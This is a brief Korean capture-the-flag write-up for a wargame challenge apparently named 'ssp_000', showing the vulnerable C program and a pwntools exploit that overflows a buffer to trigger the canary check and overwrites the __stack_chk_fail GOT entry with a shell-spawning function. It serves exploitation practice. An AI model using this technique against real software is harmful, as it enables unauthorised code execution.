어려울 느낌이 든다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
PIE는 걸려있지 않다. 우리가 원하는 주소를 원하는 값으로 바꿔쓸 수 있다.
read(0, buf, 0x80) 에서 bof가 발생할 수 있다.
get_shell 주소를 RET에 덮어 씌워야 할 것 같은 생각이 든다. 그런데 canary leak 때문에 조금 애매할 지도 ??
Canary가 걸려있기에, buf에서 bof가 발생하면 무조건 stack chk fail 함수를 호출할 것이다. 그렇다면 이 함수의 got를 get_shell로 덮든다면? 문제는 풀리겠다.
from pwn import *
p = process('./ssp_000')
e = ELF('./ssp_000')
get_shell_addr = 0x4008ea
__stack_chk_fail_got = e.got['__stack_chk_fail']
p.send('A' * 0x70)
p.recvuntil('Addr : ')
p.sendline(str(__stack_chk_fail_got))
p.recvuntil('Value : ')
p.sendline(str(get_shell_addr))
p.interactive()
매우 EZ 하게 풀 수 있다. ㅎ